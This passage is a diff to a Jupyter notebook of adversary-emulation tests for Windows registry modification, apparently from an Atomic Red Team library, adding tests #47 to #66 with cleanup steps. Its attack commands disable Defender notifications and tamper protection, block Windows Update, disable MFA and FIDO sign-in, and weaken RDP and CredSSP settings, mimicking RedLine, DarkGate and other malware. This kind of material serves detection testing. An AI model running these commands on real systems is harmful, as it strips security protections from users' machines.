-1487,28 +1487,28 @@ { "cell_type": "code", "execution_count": null, - "id": "af8c0f21", + "id": "ae5908b1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 43" }, { "cell_type": "markdown", - "id": "5119805e", + "id": "cf1d7575", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v DisallowRun /f >nul 2>&1\nreg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\DisallowRun /v art1 /f >nul 2>&1\nreg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\DisallowRun /v art2 /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cd2a8105", + "id": "fe1e6a74", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 43 -Cleanup" }, { "cell_type": "markdown", - "id": "fd106e7f", + "id": "e71bb005", "metadata": {}, "source": [ "### Atomic Test #44 - Enabling Restricted Admin Mode via Command_Prompt", @@ -1522,28 +1522,28 @@ { "cell_type": "code", "execution_count": null, - "id": "21c114a6", + "id": "59f8e309", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 44" }, { "cell_type": "markdown", - "id": "e839b2dd", + "id": "3944fed9", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"hklm\\system\\currentcontrolset\\control\\lsa\" /f /v DisableRestrictedAdmin >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7a2c7ead", + "id": "5747a76d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 44 -Cleanup" }, { "cell_type": "markdown", - "id": "e30c9cd6", + "id": "f17c21b6", "metadata": {}, "source": [ "### Atomic Test #45 - Mimic Ransomware - Enable Multiple User Sessions", @@ -1557,28 +1557,28 @@ { "cell_type": "code", "execution_count": null, - "id": "f075f205", + "id": "8988f396", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 45" }, { "cell_type": "markdown", - "id": "fdf8917b", + "id": "a2c79cfe", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon /v AllowMultipleTSSessions /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1daba53f", + "id": "b5f6a3e6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 45 -Cleanup" }, { "cell_type": "markdown", - "id": "28f03d73", + "id": "dc025818", "metadata": {}, "source": [ "### Atomic Test #46 - Mimic Ransomware - Allow Multiple RDP Sessions per User", @@ -1592,34 +1592,793 @@ { "cell_type": "code", "execution_count": null, - "id": "5bbe1672", + "id": "8968b6c9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 46" }, { "cell_type": "markdown", - "id": "71489711", + "id": "0184937e", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fSingleSessionPerUser /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4d3f833f", + "id": "d9059859", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 46 -Cleanup" }, { "cell_type": "markdown", - "id": "8908379e", + "id": "1e035391", + "metadata": {}, + "source": [ + "### Atomic Test #47 - Event Viewer Registry Modification - Redirection URL", + "Modify event viewer registry values to alter the behavior of the online help redirection. Upon opening an event in event viewer and attempting to view the help page for the event, it will open the URL or execute the program defined in the redirection URL registry entry.", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Event Viewer\" /v MicrosoftRedirectionURL /t REG_SZ /d \"file://C:\\windows\\system32\\notepad.exe\" /f```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ba109c7a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 47" + }, + { + "cell_type": "markdown", + "id": "45019d22", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Event Viewer\" /v MicrosoftRedirectionURL /t REG_SZ /d \"http://go.microsoft.com/fwlink/events.asp\" /f```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0c0e33fb", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 47 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "4c985933", + "metadata": {}, + "source": [ + "### Atomic Test #48 - Event Viewer Registry Modification - Redirection Program", + "Modify event viewer registry values to alter the behavior of the online help redirection. Upon opening an event in event viewer and attempting to view the help page for the event, it will execute the program defined in the redirection program registry entry.", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Event Viewer\" /v MicrosoftRedirectionProgram /t REG_EXPAND_SZ /d \"C:\\windows\\system32\\notepad.exe\" /f```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a1874bb3", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 48" + }, + { + "cell_type": "markdown", + "id": "5d66abd8", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Event Viewer\" /v MicrosoftRedirectionProgram /t REG_EXPAND_SZ /f```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "b6e178e8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 48 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "58f0c5d3", + "metadata": {}, + "source": [ + "### Atomic Test #49 - Enabling Remote Desktop Protocol via Remote Registry", + "Enabling RDP through remote registry.\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg add \"hklm\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Winstations\\RDP-Tcp\" /v SecurityLayer /t REG_DWORD /d 0 /f\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6ba09532", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 49" + }, + { + "cell_type": "markdown", + "id": "b210fd30", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nreg add \"hklm\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Winstations\\RDP-Tcp\" /v SecurityLayer /t REG_DWORD /d 2 /f\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ab1d8274", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 49 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "9b2fafa7", + "metadata": {}, + "source": [ + "### Atomic Test #50 - Disable Win Defender Notification", + "Disable Win Defender Notification. Redline is using this to disable this win defender feature.\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender Security Center\\Notifications\" /v \"DisableNotifications\" /t REG_DWORD /d 1 /f\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7d886caa", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 50" + }, + { + "cell_type": "markdown", + "id": "cf939f1a", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender Security Center\\Notifications\" /v \"DisableNotifications\" /t REG_DWORD /d 0 /f\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "27254b03", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 50 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "150b1786", + "metadata": {}, + "source": [ + "### Atomic Test #51 - Disable Windows OS Auto Update", + "Disable Auto Update Windows OS feature. Redline is using this as part of its defense evasion.\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\" /v \"NoAutoUpdate\" /t REG_DWORD /d 1 /f\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "af696074", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 51" + }, + { + "cell_type": "markdown", + "id": "29280817", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\" /v \"NoAutoUpdate\" /t REG_DWORD /d 0 /f\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e332dae7", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 51 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "34b81ac0", + "metadata": {}, + "source": [ + "### Atomic Test #52 - Disable Windows Auto Reboot for current logon user", + "Disable Windows Auto Reboot for current logon user. Redline is using this as part of its defense evasion.\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\" /v \"NoAutoRebootWithLoggedOnUsers\" /t REG_DWORD /d 1 /f\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "14643af3", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 52" + }, + { + "cell_type": "markdown", + "id": "bc58e2fb", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\" /v \"NoAutoRebootWithLoggedOnUsers\" /t REG_DWORD /d 0 /f\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "726a2aed", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 52 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "b20997ab", + "metadata": {}, + "source": [ + "### Atomic Test #53 - Windows Auto Update Option to Notify before download", + "Windows Auto Update Option to Notify before download. Redline is using this as part of its defense evasion.\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\" /v \"AUOptions\" /t REG_DWORD /d 2 /f\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7b40b132", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 53" + }, + { + "cell_type": "markdown", + "id": "7c2c7b8f", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\" /v \"AUOptions\" /t REG_DWORD /d 3 /f\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "168e8e13", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 53 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "e176cc7a", + "metadata": {}, + "source": [ + "### Atomic Test #54 - Do Not Connect To Win Update", + "Do Not Connect To Win Update. Redline is using this as part of its defense evasion.\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\" /v \"DoNotConnectToWindowsUpdateInternetLocations\" /t REG_DWORD /d 1 /f\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "83ffb738", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 54" + }, + { + "cell_type": "markdown", + "id": "e0edc5da", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\" /v \"DoNotConnectToWindowsUpdateInternetLocations\" /t REG_DWORD /d 0 /f\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "b4b58204", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 54 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "3e696c89", + "metadata": {}, + "source": [ + "### Atomic Test #55 - Tamper Win Defender Protection", + "Tamper Win Defender Protection. RedLine Stealer is executing another component file to modify this win defender feature in registry. \nTake note that this modification might not be enough to disable this feature but can be a good indicator of malicious process that \ntries to tamper this Win Defender feature settings.\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\" /v \"TamperProtection\" /t REG_DWORD /d 0 /f\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "298d0748", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 55" + }, + { + "cell_type": "markdown", + "id": "8c2a7bfe", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\" /v \"TamperProtection\" /t REG_DWORD /d 5 /f\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "72b98810", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 55 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "4931b1bb", + "metadata": {}, + "source": [ + "### Atomic Test #56 - Snake Malware Registry Blob", + "The following Atomic Test creates a registry blob in HKLM:\\SOFTWARE\\Classes\\.wav\\OpenWithProgIds, which is related to Snake Malware. Per the report, upon execution, Snake's WerFault.exe will attempt to decrypt an encrypted blob within the Windows\nregistry that is typically found at HKLM:\\SOFTWARE\\Classes\\.wav\\OpenWithProgIds. The encrypted data includes the AES key, IV, and path that is used to find and decrypt the file containing Snake's kernel driver and kernel driver loader.\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$typicalPath = \"HKLM:\\SOFTWARE\\Classes\\.wav\\OpenWithProgIds\"; $randomBytes = New-Object Byte[] 0x1000; (New-Object Random).NextBytes($randomBytes); New-ItemProperty -Path $typicalPath -Name \"AtomicSnake\" -Value $randomBytes -PropertyType Binary -Force | Out-Null\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d0e8b055", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 56" + }, + { + "cell_type": "markdown", + "id": "63e87066", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\n$typicalPath = \"HKLM:\\SOFTWARE\\Classes\\.wav\\OpenWithProgIds\"; Remove-ItemProperty -Path $typicalPath -Name \"AtomicSnake\" -ErrorAction SilentlyContinue | Out-Null\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4b1fc86e", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 56 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "ad61a0dc", + "metadata": {}, + "source": [ + "### Atomic Test #57 - Allow Simultaneous Download Registry", + "A registry modification to allow Simultaneous download in the system.\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" /v \"MaxConnectionsPerServer\" /t REG_DWORD /d 10 /f\nreg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" /v \"MaxConnectionsPer1_0Server\" /t REG_DWORD /d 10 /f\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4fc24d04", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 57" + }, + { + "cell_type": "markdown", + "id": "5b039150", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nreg delete \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" /v \"MaxConnectionsPerServer\" /f\nreg delete \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" /v \"MaxConnectionsPer1_0Server\" /f\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "55d7f6f4", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 57 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "082a0c67", + "metadata": {}, + "source": [ + "### Atomic Test #58 - Modify Internet Zone Protocol Defaults in Current User Registry - cmd", + "This test simulates an adversary modifying the Internet Zone Protocol Defaults in the registry of the currently logged-in user using the reg.exe utility via the command prompt. Such modifications can be indicative of an adversary trying to weaken browser security settings. Upon execution, if successful, the message \"The operation completed successfully.\" will be displayed.\nTo verify the effects of the test:\n1. Open the Registry Editor (regedit.exe).\n2. Navigate to \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProtocolDefaults\".\n3. Check for the presence of the \"http\" and \"https\" DWORD values set to `0`.\nOr run:\n```batch\nreg query \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProtocolDefaults\"\n```\n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProtocolDefaults\" /v http /t REG_DWORD /d 0 /F\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProtocolDefaults\" /v https /t REG_DWORD /d 0 /F\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "663334cd", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 58" + }, + { + "cell_type": "markdown", + "id": "0909c4ab", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProtocolDefaults\" /v http /t REG_DWORD /d 3 /F\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProtocolDefaults\" /v https /t REG_DWORD /d 3 /F\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "671f1aed", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 58 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "355b90b4", + "metadata": {}, + "source": [ + "### Atomic Test #59 - Modify Internet Zone Protocol Defaults in Current User Registry - PowerShell", + "This test simulates an adversary modifying the Internet Zone Protocol Defaults in the registry of the currently logged-in user using PowerShell. Such modifications can be indicative of an adversary attempting to weaken browser security settings. \nTo verify the effects of the test:\n1. Open the Registry Editor (regedit.exe).\n2. Navigate to \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProtocolDefaults\".\n3. Check for the presence of the \"http\" and \"https\" DWORD values set to `0`.\nOr run:\n```powershell\nGet-ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProtocolDefaults' | Select-Object http,https\n```\n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n# Set the registry values for http and https to 0\nSet-ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProtocolDefaults' -Name 'http' -Value 0\nSet-ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProtocolDefaults' -Name 'https' -Value 0\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1124b3e9", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 59" + }, + { + "cell_type": "markdown", + "id": "e37792e1", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\n# Restore the registry values for http and https to 3\nSet-ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProtocolDefaults' -Name 'http' -Value 3\nSet-ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProtocolDefaults' -Name 'https' -Value 3\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2212c770", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 59 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "8cc84a4e", + "metadata": {}, + "source": [ + "### Atomic Test #60 - Activities To Disable Secondary Authentication Detected By Modified Registry Value.", + "Detect the disable secondary authentication activities that adversary attempt to bypass MFA and to get the unauthorized access to the system or sensitive data.\nSee the related article (https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.SecondaryAuthenticationFactor::MSSecondaryAuthFactor_AllowSecondaryAuthenticationDevice).\n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\SecondaryAuthenticationFactor\" /v \"AllowSecondaryAuthenticationDevice\" /t REG_DWORD /d 0 /f\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "3908e3e8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 60" + }, + { + "cell_type": "markdown", + "id": "bccadec2", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\SecondaryAuthenticationFactor\" /v \"AllowSecondaryAuthenticationDevice\" /t REG_DWORD /d 1 /f\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "08dfb957", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 60 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "b46fe7ca", + "metadata": {}, + "source": [ + "### Atomic Test #61 - Activities To Disable Microsoft [FIDO Aka Fast IDentity Online] Authentication Detected By Modified Registry Value.", + "Detect the Microsoft FIDO authentication disable activities that adversary attempt to gains access to login credentials (e.g., passwords), they may be able to impersonate the user and access sensitive accounts or data and also increases the risk of falling victim to phishing attacks.\nSee the related article (https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.FidoAuthentication::AllowFidoDeviceSignon).\n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FIDO\" /v \"AllowExternalDeviceSignon\" /t REG_DWORD /d 0 /f\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7398a40a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 61" + }, + { + "cell_type": "markdown", + "id": "244e2ab5", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FIDO\" /v \"AllowExternalDeviceSignon\" /t REG_DWORD /d 1 /f\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7ab44172", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 61 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "6abb5047", + "metadata": {}, + "source": [ + "### Atomic Test #62 - Scarab Ransomware Defense Evasion Activities", + "Scarab Ransomware defense evasion activities that can abuse the registry values to modify the settings of the Credential Security Support Provider to overcome potential RDP connection issues.\n[Scarab Ransomware Article](https://www.welivesecurity.com/en/eset-research/scarabs-colon-izing-vulnerable-servers/)\n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg add \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\CredSSP\\Parameters\" /v AllowEncryptionOracle /t REG_DWORD /d 2 /f\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ebf9ba08", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 62" + }, + { + "cell_type": "markdown", + "id": "3c7e7b37", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nreg add \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\CredSSP\\Parameters\" /v AllowEncryptionOracle /t REG_DWORD /d 0 /f\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "72a4027e", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 62 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "30c4fd65", + "metadata": {}, + "source": [ + "### Atomic Test #63 - Disable Remote Desktop Anti-Alias Setting Through Registry", + "A modification registry to disable RDP anti-alias settings. This technique was seen in DarkGate malware as part of its installation\n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\" /v \"DisableRemoteDesktopAntiAlias\" /t REG_DWORD /d 1 /f\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "409073a0", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 63" + }, + { + "cell_type": "markdown", + "id": "60c21fcb", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nreg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\" /v \"DisableRemoteDesktopAntiAlias\" /t REG_DWORD /d 0 /f\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f4a5ffef", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 63 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "14866673", + "metadata": {}, + "source": [ + "### Atomic Test #64 - Disable Remote Desktop Security Settings Through Registry", + "A modification registry to disable RDP security settings. This technique was seen in DarkGate malware as part of its installation\n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\" /v \"DisableSecuritySettings\" /t REG_DWORD /d 1 /f\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e6cba464", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 64" + }, + { + "cell_type": "markdown", + "id": "9d95777a", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nreg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\" /v \"DisableSecuritySettings\" /t REG_DWORD /d 0 /f\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ac5e3b47", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 64 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "770d2607", + "metadata": {}, + "source": [ + "### Atomic Test #65 - Disabling ShowUI Settings of Windows Error Reporting (WER)", + "A modification registry to disable ShowUI settings of Windows Error Report. This registry setting can influence the behavior of error reporting dialogs or prompt box. \nThis technique was seen in DarkGate malware as part of its installation.\n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg add \"HKCU\\Software\\Microsoft\\Windows\\Windows Error Reporting\" /v DontShowUI /t REG_DWORD /d 1 /f\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1288024f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 65" + }, + { + "cell_type": "markdown", + "id": "de11b85b", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nreg add \"HKCU\\Software\\Microsoft\\Windows\\Windows Error Reporting\" /v DontShowUI /t REG_DWORD /d 0 /f\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "32599894", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 65 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "7c45b333", + "metadata": {}, + "source": [ + "### Atomic Test #66 - Enable Proxy Settings", + "A modification registry to enable proxy settings. This technique was seen in DarkGate malware as part of its installation.\n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" /v ProxyEnable /t REG_DWORD /d 1 /f\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "26ee39e0", + 